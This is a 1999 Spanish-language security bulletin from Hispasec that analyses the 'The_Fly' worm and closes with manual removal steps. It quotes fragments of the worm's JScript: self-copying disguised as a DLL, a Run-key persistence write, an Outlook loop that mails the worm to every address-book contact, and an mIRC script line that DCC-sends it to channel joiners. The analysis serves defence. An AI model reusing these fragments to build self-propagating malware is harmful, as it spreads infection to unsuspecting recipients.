• Saltar al contenido principal
  • Saltar a la barra lateral principal
  • Saltar al pie de página

Una al Día

Boletín de noticias de Seguridad Informática ofrecido por Hispasec

Usted está aquí: Inicio / General / "The_Fly", el análisis

"The_Fly", el análisis

21 diciembre, 1999 Por Hispasec Deja un comentario

Como ya adelantamos en el anterior boletín, donde introducíamos
a «The_Fly», os presentamos un análisis de este gusano a partir
de su código. Durante este recorrido podremos observar con
detalle como trabaja el gusano y descubrir ciertos aspectos,
como su payload, que han pasado desapercibidos en los análisis
de las casas antivirus que hasta el momento se han hecho eco
de él.
Una aparente broma electrónica
——————————

Recordemos que este gusano se nos presenta bajo el formato de un
fichero de ayuda compilado de Windows con el nombre de «The_Fly.chm».
Al intentar abrirlo provoca la aparición de la ventana de aviso de
Internet Explorer alertando del peligro potencial de su contenido:

—
Internet Explorer
Algunos elementos de software (controles ActiveX) en
esta página podrían no ser seguros. No se recomienda
ejecutarlos. ¿Desea permitir que se ejecuten?

SI / NO
—

En el caso de que optemos, acertadamente, por la opción «NO»,
el gusano no podrá llevar a cabo su acción, e intentará engañar
al usuario, pidiendo que abra de nuevo el fichero y permita su
ejecución, a través del siguiente texto:

—
«The picture couln´t be shown. ActiveX wasn´t allowed, please
reload and select to use it.»
—
(«La imagen no pudo ser mostrada. ActiveX no fue permitido,
por favor, recarga y selecciónalo para utilizarlo.»)

Si por el contrario hemos permitido la ejecución, el gusano
nos muestra «the_fly.jpg», un simpático gráfico, a modo de
broma, donde se puede apreciar parte de una dentadura con
uno de los dientes perforado con la silueta de una mosca,
justo debajo finaliza el chiste con el siguiente texto:

—
«If you ride a motorcycle, close your mouth. :)»
—
(«Si conduces una moto, cierra la boca»)

En este punto el usuario puede creer que se trata, simplemente,
de un chiste gráfico, sin embargo la realidad es bien distinta,
«The_Fly» habrá comenzado su acción de autoenvío e instalación
en el sistema. A partir de ahora nos introduciremos de lleno en
su código para averiguar las verdaderas intenciones de
«The_Fly».

«The_Fly» se instala en el sistema
———————————-

(Nota: durante todo el análisis presuponemos, por ser lo
más usual y descriptivo, que el directorio de Windows y de
sistema son los que se utilizan en la instalación por
defecto, «c:\windows» y «c:\windows\system», si bien este
aspecto puede cambiar en algunos equipos si se ha modificado
el parámetro 7del directorio durante la instalación.)

[Código(1)]—
Bible = new ActiveXObject(«Scripting.FileSystemObject»);
[…]
Bible.CopyFile(document.location.pathname.replace(«/@MSITStore:»,»»)
.replace(«::/the_fly.htm»,»»)
,Bible.BuildPath(Bible.GetSpecialFolder(0),»THE_FLY.CHM»));
Bible.CopyFile(document.location.pathname.replace(«/@MSITStore:»,»»)
.replace(«::/the_fly.htm»,»»)
,Bible.BuildPath(Bible.GetSpecialFolder(1),»DXGFXB3D.DLL»));
Jesus = Bible.CreateTextFile(Bible.BuildPath(Bible.GetSpecialFolder(1)
,»MSJSVM.JS»),true);
—[/Código(1)]

Aquí podemos comprobar como, además de utilizar nombres de
variables con referencias religiosas, el autor utiliza el
objeto «FileSystemObject» para acceder al sistema de ficheros,
pudiendo utilizar a partir de entonces sus métodos para llevar
a cabo acciones como crear, abrir o escribir en archivos.

Unas líneas más abajo hace uso de estos métodos, observamos
como se copia a sí mismo en el directorio «C:\windows» como
«THE_FLY.CHM» y en «C:\windows\system» con el nombre de
«DXGFXB3D.DLL», simulando una librería, aunque en realidad
sigue siendo el mismo archivo en formato CHM.

Por último, observamos como crea un archivo con el nombre
de «MSJSVM.JS» en «C:\windows\system» donde escribe
numerosas líneas de código para terminar cerrándolo, como
podemos ver en [Código(2)]:

[Código(2)]—
Jesus.WriteLine(«Prayer = new ActiveXObject(\»Scripting.
FileSystemObject\»);»)
Jesus.WriteLine(«if Prayer.FileExists(Prayer.BuildPath
(Prayer.GetSpecialFolder(0),\»THE_FLY.CHM\»)) == true) {«)
Jesus.WriteLine(«God();»)Jesus.WriteLine(«}»)
[…]
Jesus.Close();
—[/Código(2)]

[Código(3)]—
Islam = new ActiveXObject(«WScript.Shell»);
Islam.RegWrite(«HKEY_LOCAL_MACHINE\\Software\\Microsoft\\
Windows\\CurrentVersion\\Run\\JavaScript VM»,Bible.BuildPath
(Bible.GetSpecialFolder(1),»MSJSVM.JS»));<
—[/Código(3)]

Una vez se ha copiado a sí mismo en dos ocasiones con
diferentes nombres y ha creado un tercer archivo con parte
de su código, observamos [Código(3)] como el gusano
utiliza un método de Windows Scripting Host, lenguaje
propietario de Microsoft, para escribir en el registro de
Windows y crear la siguiente entrada:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Nombre: JavaScript VM
Datos: «C:\WINDOWS\SYSTEM\MSJSVM.JS»

De esta forma «The_Fly» se asegura que en cada inicio de
Windows se ejecute el código que ha introducido en el
archivo «MSJSVM.JS» y que más tarde analizaremos, de
momento sigamos con el estudio de «The_Fly.chm».

Al mas puro estilo «Melissa»
—————————-

[Código(4)]—
Hinduism = new ActiveXObject(«Outlook.Application»);
[..]
Judaism = Hinduism.GetNameSpace(«MAPI»);
for (Vushnu = 1; Vushnu <= Judaism.AddressLists.Count; Vushnu++) {
[..]
Messiah.BCC = Messiah.BCC.concat(«; «).concat(Nazareth.Address);}}
Messiah.Subject = «Funny thing»;
Messiah.Body = «> If you ride a motorcycle, close your mouth. :)»;
Messiah.Attachments.Add(Bible.BuildPath(Bible.GetSpecialFolder(0),
«THE_FLY.CHM»));
Messiah.DeleteAfterSubmit = true;Messiah.Send;
—[/Código(4)]

Este apartado nos recuerda al ya mítico Melissa, mediante Outlook
recorre todos los alias de su libreta de direcciones para
autoenviarse a cada uno de ellos en un mensaje con el asunto
«Funny thing» y el texto «> If you ride a motorcycle, close your
mouth. :)» en el cuerpo. Para adjuntarse utiliza el archivo
«THE_FLY.CHM» que copió en la carpeta «C:\windows».

Destaca el uso del campo BCC (Blind Carbon Copy), utilizado
para enviar un mensaje a múltiples direcciones, con la
particularidad, a diferencia del campo CC, que las direcciones
de correo del campo BCC no son incluidas en las copias de los
mensajes enviados, con lo que el destinatario no detecta que
el mensaje que le ha llegado forma parte de un envío múltiple.

Hasta aquí llega nuestro recorrido por el código de «The_Fly.chm»,
pero no debemos olvidar que el gusano dejó parte de su código en
el fichero «MSJSVM.JS» en la carpeta «C:\windows\system» y
modificó el registro de Windows para que se ejecutará cada vez
que se iniciara el sistema, al estilo «backdoor». Veamos
a continuación que función cumple este fichero.

I-Worm vía IRC
————–

[Código(5)]—
Prayer = new ActiveXObject(«Scripting.FileSystemObject»);
if (Prayer.FileExists(Prayer.BuildPath(Prayer.GetSpecialFolder(0),
«THE_FLY.CHM»)) == true) {
God();
}
else {
if (Prayer.FileExists(Prayer.BuildPath(Prayer.GetSpecialFolder(1),
«DXGFXB3D.DLL»)) == true) {
Prayer.CopyFile(Prayer.BuildPath(Prayer.GetSpecialFolder(1),
«DXGFXB3D.DLL»),Prayer.BuildPath(Prayer.GetSpecialFolder(0),»THE_FLY.CHM»));
—[/Código(5)]

Nada más comenzar con el análisis de «MSJSVM.JS» descubrimos
porqué el gusano realizaba dos copias de sí mismo, en el caso
de que no exista la copia «C:\windows\THE_FLY.CHM» la crea a
partir de la otra copia, la que archivó en
«C:\windows\system\DXGFXB3D.DLL». Con esta operación parece que
el autor intenta hacer inútil el que alguien, en un intento de
borrar el gusano, eliminara el fichero «C:\windows\THE_FLY.CHM».
A continuación busca en el sistema las carpetas donde se instalan
los clientes de IRC mIRC y PIRCH98 para crear nuevos ficheros INI.

[Código(6)]—
if (Prayer.FileExists(Prayer.BuildPath(Jude,»MIRC32.EXE»)) == true) {
Exodus = Prayer.CreateTextFile(Prayer.BuildPath(Jude,»SCRIPT.INI»),true);
Exodus.WriteLine(«[script]»);
Exodus.WriteLine(«n0=on 1:join:#:if $me != $nick dcc send $nick»
.concat(Prayer.BuildPath(Prayer.GetSpecialFolder(0),»THE_FLY.CHM»)));
Jesus.WriteLine(«Exodus.Close();
—[/Código(6)]

En el caso de mIRC crea el fichero «SCRIPT.INI», borrando el
que tuviera, y añade las líneas para que el cliente de IRC
envíe de forma automática el archivo «THE_FLY.CHM» a todas las
personas que entren en el mismo canal de charla donde el usuario
infectado se encuentre. Con el cliente PIRCH98 realiza la misma
operación, creando un nuevo archivo «EVENTS.INI» para producir
el mismo efecto, convirtiéndose así en un i-worm para IRC.

El payload y los «despistes» de los antivirus
———————————————

Entre el código que crea el archivo «SCRIPT.INI» y «EVENTS.INI»
se encuentra la línea que dispara el payload del gusano y que al
parecer, según los análisis disponibles, ha pasado desapercibida
tanto para Trend Micro como para Panda Software. La tercera
compañía antivirus que se ha hecho eco de este gusano es Network
Associates, que extrañamente aun no ha facilitado su análisis
pese a que está anunciado en su lista de alertas desde el día
20 de este mes.

El payload se dispara cuando el fichero «MSJSVM.JS» se ejecuta
en el minuto 30 de cualquier hora del día, recordemos que este
fichero es lanzado de forma automática cada vez que iniciamos
el sistema. Afortunadamente el payload consiste simplemente en
mostrar una ventana, donde el autor bautiza al gusano como
«CommonSense» y parece que quiere mostrar su opinión en cuanto
a cuestiones religiosas se refiere mediante unas líneas de código.

—

Windows Scripting Host

/MIRC/OUTLOOK/PIRCH.CommonSense by Zulu
if (CommonSense == true) {
God = false;
Religion = false;
}
else {
God = true;
Religion = true;
}

ACEPTAR
—

Por último, hay otro detalle que también ha pasado desapercibido a las
casas antivirus, y no es otro que la existencia de dos versiones de
este gusano, cuya única diferencia es interna y tiene que ver con la
codificación del código JavaScript en la versión 1.1. Para
diferenciar la versión a simple vista podemos fijarnos en el tamaño
de los ficheros «THE_FLY.CHM» o «DXGFXB3D.DLL», si su tamaño es
22.074 bytes será la versión 1.0, y en el caso de que sea 24.874
bytes estaremos tratando con la 1.1.

Librándonos de «The_Fly» de forma manual
—————————————-

En caso de infección, es muy sencillo librarse de «The_Fly».
Bastará con borrar los ficheros «c:\windows\THE_FLY.CHM»,
«c:\windows\system\DXGFXB3D.DLL» y «c:\windows\system\MSJSVM.JS».
Por último, a través de la aplicación REGEDIT.EXE, procederemos a
borrar la entrada que creó en el registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Nombre: JavaScript VM
Datos: «C:\WINDOWS\SYSTEM\MSJSVM.JS»

Por último, una vez más, recordamos a todos nuestros lectores
que no deben abrir o ejecutar ningún archivo no solicitado,
aun cuando el remitente sea una fuente conocida y de confianza.

Más información:
Panda Software
Trend Micro
The_Fly, un gusano que se propaga vía mIRC, Pirch y Outlook

Dedicatoria
———–
No es habitual, de hecho es una norma, que en los boletines
«una-al-dia» se incluyan referencias personales fuera del propio
ámbito de la noticia. En esta excepción, que confirma la regla,
me gustaría, en nombre de todo el equipo de HispaSec, felicitarles
la Navidad a todos nuestros lectores y desearles lo mejor para
el año 2000.

Quiero extender estos deseos, de forma especial, a nuestro
compañero Antonio Ropero, quien se recupera en estos momentos
de una intervención quirúrgica tras un aparatoso accidente de
tráfico.

Bernardo Quintero
bernardo@hispasec.com

Acerca de Hispasec

Hispasec Ha escrito 6939 publicaciones.

  • View all posts by Hispasec →
  • Blog

Compártelo:

  • Twitter
  • Facebook
  • LinkedIn
  • Reddit
  • Telegram
  • WhatsApp

Publicaciones relacionadas

Publicado en: General

Interacciones con los lectores

Deja una respuesta Cancelar la respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

Barra lateral principal

Buscar

Síguenos

siguenos en twitter

UAD360 EDICIÓN 2022

https://www.youtube.com/watch?v=go_CSWK56yU

Populares de UAD

  • Vulnerabilidad zero-day en AWS Glue
  • Tamagotchi para hackers: Flipper Zero
  • Campañas de phishing utilizan Flipper Zero como cebo
  • Evasión de CloudTrail en AWS a través de API no documentada
  • USB Killer, el enchufable que puede freir tu equipo

Entradas recientes

  • Vulnerabilidad zero-day en AWS Glue
  • Evasión de CloudTrail en AWS a través de API no documentada
  • Parches de enero 2023: Microsoft corrige 98 vulnerabilidades
  • UAD se abre a la comunidad
  • Campañas de phishing utilizan Flipper Zero como cebo
  • Vulnerabilidades críticas en productos de Synology
  • Más de dos docenas de errores de WordPress explotados por un nuevo malware de Linux
  • Correo electrónico
  • Facebook
  • LinkedIn
  • RSS
  • Twitter

Footer

UAD

UAD nació a raíz de un inocente comentario en un canal IRC hace 24 años. A través de los archivos, un lector curioso puede ver cómo ha cambiado (o no) la seguridad de la información desde entonces.

Aviso Legal

  • Aviso Legal
  • Términos y Condiciones
  • Política de Privacidad
  • Política de Cookies

Copyright © 2023 · Hispasec Sistemas, S.L. Todos los derechos reservados

Este sitio web utiliza cookies propias y de terceros para fines analíticos y para mostrarte publicidad (tanto general como personalizada) relacionada con tus preferencias en base a un perfil elaborado a partir de tus hábitos de navegación (por ejemplo, páginas visitadas), para optimizar la web y para poder valorar las opiniones de los servicios consultados por los usuarios. Para administrar o deshabilitar estas cookies haz clic en: Configurar Cookies


Rechazar todo Aceptar Todo
Configurar Cookies

Resumen de privacidad

Este sitio web utiliza cookies para mejorar su experiencia mientras navega por el sitio web. De estas, las cookies que se clasifican como necesarias se almacenan en su navegador, ya que son esenciales para el funcionamiento de las funcionalidades básicas del sitio web. También utilizamos cookies de terceros que nos ayudan a analizar y comprender cómo utiliza este sitio web. Estas cookies se almacenarán en su navegador solo con su consentimiento. También tiene la opción de optar por no recibir estas cookies. Pero la exclusión voluntaria de algunas de estas cookies puede afectar su experiencia de navegación.
Necesaria
Siempre activado
Las cookies necesarias son absolutamente esenciales para que el sitio web funcione correctamente. Estas cookies garantizan funcionalidades básicas y características de seguridad del sitio web, de forma anónima.
CookieDuraciónDescripción
cookielawinfo-checkbox-analytics11 monthsEsta cookie está configurada por el complemento de consentimiento de cookies de GDPR. La cookie se utiliza para almacenar el consentimiento del usuario para las cookies en la categoría "Análisis".
cookielawinfo-checkbox-functional11 monthsLa cookie está configurada por el consentimiento de cookies de GDPR para registrar el consentimiento del usuario para las cookies en la categoría "Funcional".
cookielawinfo-checkbox-necessary11 monthsEsta cookie está configurada por el complemento de consentimiento de cookies de GDPR. Las cookies se utilizan para almacenar el consentimiento del usuario para las cookies en la categoría "Necesario".
cookielawinfo-checkbox-others11 monthsEsta cookie está configurada por el complemento de consentimiento de cookies de GDPR. La cookie se utiliza para almacenar el consentimiento del usuario para las cookies en la categoría "Otro.
cookielawinfo-checkbox-performance11 monthsEsta cookie está configurada por el complemento de consentimiento de cookies de GDPR. La cookie se utiliza para almacenar el consentimiento del usuario para las cookies en la categoría "Rendimiento".
viewed_cookie_policy11 monthsLa cookie está configurada por el complemento de consentimiento de cookies de GDPR y se utiliza para almacenar si el usuario ha dado su consentimiento o no para el uso de cookies. No almacena ningún dato personal.
Analítica
Las cookies analíticas se utilizan para comprender cómo interactúan los visitantes con el sitio web. Estas cookies ayudan a proporcionar información sobre métricas, el número de visitantes, la tasa de rebote, la fuente de tráfico, etc.
GUARDAR Y ACEPTAR